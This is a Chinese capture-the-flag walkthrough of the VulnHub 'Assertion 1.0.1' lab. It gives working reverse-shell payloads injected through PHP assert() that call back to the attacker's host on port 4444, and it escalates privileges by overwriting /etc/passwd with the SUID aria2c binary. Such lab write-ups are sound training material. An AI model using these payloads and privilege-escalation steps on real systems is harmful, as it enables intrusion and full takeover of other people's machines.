Assertion: 1.0.1

https://www.vulnhub.com/entry/assertion-101,495/

实验说明

运用枚举与 Web 枚举技术识别漏洞,使用 PHP 断言功能并实施权限提升策略,此外还需利用 SUID 二进制文件的滥用漏洞进一步扩大访问权限。本实验旨在充分发挥你在以下方面的技能:

(注:技术术语精准适配网络安全场景规范:

  1. "enumeration" 译为 "枚举"(渗透测试核心技术术语,指信息收集过程)
  2. "PHP assertions" 译为 "PHP 断言"(PHP 语言内置调试功能,常被用于代码注入漏洞利用)
  3. "privilege escalation" 译为 "权限提升"(渗透测试核心阶段,指获取更高权限的操作)
  4. "SUID binaries" 译为 "SUID 二进制文件"(Linux/Unix 系统特殊权限文件,其滥用是权限提升常见途径)
  5. 句式结构保持技术文档严谨性,同时符合中文技术手册表达习惯,便于直接用于实验指导文档)

本实验中,你将利用 PHP 断言中的代码注入漏洞实现远程代码执行(RCE)。权限提升可通过滥用 /usr/bin/aria2c 上配置不当的 SUID 权限来完成 ------ 该权限允许覆盖关键文件(如 root 用户的 authorized_keys),最终以 root 身份通过 SSH 登录目标系统。

完成本实验后,学习者将能够:

  • 对 Web 应用程序进行枚举,识别page参数中的漏洞。
  • 利用 PHP 断言代码注入漏洞实现远程命令执行。
  • 获取初始 shell,并通过 SUID 二进制文件实现权限提升。
  • 滥用/usr/bin/aria2c工具覆盖 root 用户的authorized_keys文件。
  • 以 root 身份通过 SSH 登录目标系统,实现对系统的完全控制。
  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.174

  1. 对靶机进行端口服务探测

    nmap -sV -T4 -p- -A 192.168.23.174

22 端口对应 ssh 访问,80 端口对应的 Web 服务

  1. 访问 80 端口开放的网站服务
  1. 指纹识别网站技术栈框架

    whatweb -v 192.168.23.174

  1. 再扫描其网站子目录

    gobuster dir -u http://192.168.23.174 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

查看index.php源码发现查找访问其他文件的超链接

  1. 访问其中一个超链接看看

尝试文件包含漏洞利用

http://192.168.23.174/index.php?page=../../../../../../../etc/passwd

确认存在文件包含漏洞,但是被网站阻止了

  1. 尝试通过文件包含漏洞利用代码执行漏洞

    ' and die(system("whoami")) or'

然后编写反弹 shell 的payload,注意需要进行url编码

复制代码
' and die(system('bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"')) or '
%27%20and%20die%28system%28%27bash%20-c%20%22exec%20bash%20-i%20%3E%26%20/dev/tcp/192.168.23.128/4444%200%3E%261%22%27%29%29%20or%20%27

注意 kali 监听 4444 端口接收 shell

复制代码
nc -lvvp 4444

成功 getshell

  1. 信息收集三件套

    id
    whoami
    uname -a
    lsb_release -a

查看 index.php,并且分析其存在的漏洞为什么能够从文件包含升级为命令执行漏洞

GetShell 代码审计

复制代码
<?php
if (isset($_GET['page'])) {
  $page = $_GET['page'];
  $file = "pages/" . $page . ".php";

  // Saving ourselves from any kind of hackings and all
  assert("strpos('$file', '..') === false") or die("Not so easy brother!");
  $val = "pages/". $page;
  
  if(!file_exists($file)){
    die ("File does not exist");
  }
} else {
  $file = "index.php";
}
?>

核心漏洞解析:assert() 导致的命令注入

1. 危险的 assert() 使用

assert() 函数在 PHP 中用于检查一个断言是否为 true关键在于 :当 PHP 配置为低安全模式(或版本较老)时,如果 assert() 的参数是一个字符串 ,PHP 会将其作为 PHP 代码进行解析和执行。

代码中的断言是:

PHP

复制代码
assert("strpos('$file', '..') === false") or die("Not so easy brother!");

PHP 解释器会执行双引号内的字符串内容。

2. 绕过防御与注入点

我们来看变量 $file 是如何构建的:

PHP

复制代码
$page = $_GET['page'];
$file = "pages/" . $page . ".php";

假设我们构造的 GET 请求参数 page 为:

复制代码
?page=a'.system('whoami').'b

此时,$file 变量的值将是:

复制代码
pages/a'.system('whoami').'b.php

当这个 $file 值被代入到 assert() 函数的字符串参数中时,整个字符串表达式变为:

复制代码
"strpos('pages/a'.system('whoami').'b.php', '..') === false"

3. PHP 解释器执行过程

PHP 解释器执行这个字符串时,会按照 PHP 语法规则进行解析:

  1. 它首先遇到函数调用 strpos(
  2. strpos() 的第一个参数内部,它遇到一个单引号 ',结束了字符串 'pages/a'
  3. 接下来,它遇到了 . (点号),这是 PHP 中的字符串连接符
  4. 紧接着是 system('whoami'),这是一个有效的 PHP 函数调用,用于执行系统命令。
  5. system('whoami') 的返回值(whoami 命令的输出,通常是 Web 用户的名称)会作为字符串连接的一部分。
  6. 然后,它又遇到另一个 . 连接符,后面是字符串 'b.php'
  7. 最终,strpos() 函数接收到的第一个参数是一个拼接后的字符串pages/a + whoami 输出 + b.php)。
  8. assert() 函数的执行结果,取决于 strpos() 是否返回 false无论 **strpos()**的结果是什么 ,在它执行之前,**system('whoami')**已经被执行了

这种利用字符串连接符(.中断重新开始 PHP 字符串,从而注入恶意函数调用的手法,就是 assert() 漏洞的关键利用点。


反弹 Shell 载荷的执行

有了上述的注入机制,要反弹 Shell,只需要将恶意的系统命令替换掉 system('whoami')

攻击载荷

  • 注入参数 page**:**

    a'.system('bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"').'b

  • **assert()**中形成的表达式:

    "strpos('pages/a'.system('bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"').'b.php', '..') === false"

最终效果

在 PHP 解释器执行这个断言时:

  1. 它会执行 system() 函数。

system() 执行 Bash 命令:

  1. Bash

    bash -c "exec bash -i >& /dev/tcp/192.168.23.128/4444 0>&1"

  2. 该 Bash 命令在目标服务器上启动一个交互式 Shell ,并将这个 Shell 的标准输入、输出和错误 重定向到攻击者在 192.168.23.128:4444 上监听的 TCP 连接,从而实现了反弹 Shell。

  3. 查看提权方法:sudo 和 suid

    sudo -l
    find / -perm -u=s 2> /dev/null

在 SUID 滥用技术中,aria2c 的作用是利用其自身的功能特性,来间接执行攻击者注入的命令。

1. 权限继承者(SUID Carrier)

  • 核心功能: 由于 aria2c 被设置为 SUID root (通过 sudo install -m =xs 命令),当一个低权限用户执行 ./aria2c 时,该进程会继承文件所有者(root)的权限。
  • 攻击目的: 确保后续的操作(包括执行外部脚本)是以 root 用户的最高权限运行的。

2. 命令触发器(Command Trigger)

  • 利用的选项: 攻击者利用了 aria2c 的回调选项,特别是 --on-download-error=<FILE>
    • 这个选项的本意是让用户在下载失败时可以运行一个清理或通知的脚本。
  • 执行机制: 攻击者故意指定一个会失败的下载目标(如 http://x),强制 aria2c 触发下载错误 。一旦错误发生,aria2c 就会以它继承的 root 权限 去执行 $TF(包含恶意命令的临时文件)。
  1. aria2c是一个用来下载文件的程序,先保存目标/etc/passwd到本地添加一个新用户,之后使用aria2c覆盖目标/etc/passwd

    cat /etc/passwd

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
    syslog:x:102:106::/home/syslog:/usr/sbin/nologin
    messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
    _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
    lxd:x:105:65534::/var/lib/lxd/:/bin/false
    uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
    dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:109:1::/var/cache/pollinate:/bin/false
    sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
    soz:x:1000:1000:Faisal:/home/soz:/bin/bash
    fnx:x:1001:1001::/home/fnx:/bin/sh

  1. 保存到本地后添加新用户

    openssl passwd -6 -salt salt password

在 passwd 里面添加新用户

a:1a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bash

复制代码
mousepad passwd
  1. kali 开启 http 服务,供靶场下载篡改的 passwd 文件

    python -m http.server

然后通过 aria2c 命令将修改好的passwd并覆盖的passwd

复制代码
cd /etc
aria2c --on-download-error=$TF http://192.168.23.128:8000/passwd --allow-overwrite=true

然后尝试切换为具有 root 权限的 a 用户,密码 a

复制代码
python3 -c 'import pty; pty.spawn("/bin/bash")'
su a

总结su a切换会失败:这个错误信息意味着你尝试执行 su 命令的环境不是一个真正的 TTY (Teletypewriter) 或伪终端 (Pseudo-Terminal)

  • su****命令的目的: su 旨在启动一个新的交互式 shell,并切换到另一个用户(通常是 root)。为了安全地处理密码输入、会话管理和信号处理,它需要一个交互式的环境,即一个终端。
  • 当前环境( www-data**):** 你当前的用户是 www-data。在 Web 服务器环境中,www-data 通常是运行 Apache 或 Nginx 等 Web 服务的低权限用户。你获得这个 shell 很可能是通过一个Web 漏洞(例如反弹 Shell 或命令注入),这个 shell 往往是:
    • 非交互式的 Shell: 比如由 system()exec()bash -c 等函数启动的 Shell。它是一个管道网络套接字连接,但操作系统不将其识别为完整的终端会话。
    • 没有 TTY 分配: 缺少 TTY 分配,意味着系统无法安全可靠地处理密码输入(防止被嗅探或回显)以及控制任务。
  1. 成功得到 flag

    cat /root/root.txt

相关推荐
火山引擎开发者社区25 分钟前
火山引擎发布系列《AI 安全白皮书》,构筑AI云原生可信基座
人工智能·安全·火山引擎
悬镜安全34 分钟前
风险情报驱动的数字供应链安全治理实践
安全
立控信息LKONE36 分钟前
库室管控核心产品-仓库安防设施建设
大数据·安全
week_泽39 分钟前
网安基础_1_补充_网络安全渗透测试学习笔记
笔记·学习·web安全
雨落秋垣1 小时前
中国联通远程API加密DS系统:企业级安全架构与实现
安全·安全架构
FreeBuf_1 小时前
Shai Hulud恶意软件3.0变种引发供应链安全担忧
安全
FreeBuf_1 小时前
欧洲航天局确认外部服务器遭入侵
服务器·安全·php
事变天下1 小时前
智控云端,安全护航!沃飞长空 AE200 系列重塑低空出行新标杆
安全
蓝之白1 小时前
WEB安全_AI_WAF
web安全·ctf
翼龙云_cloud2 小时前
阿里云云渠道商:GPU 服务器安全组配置指南 3 步解决端口开放问题
运维·服务器·安全·阿里云·云计算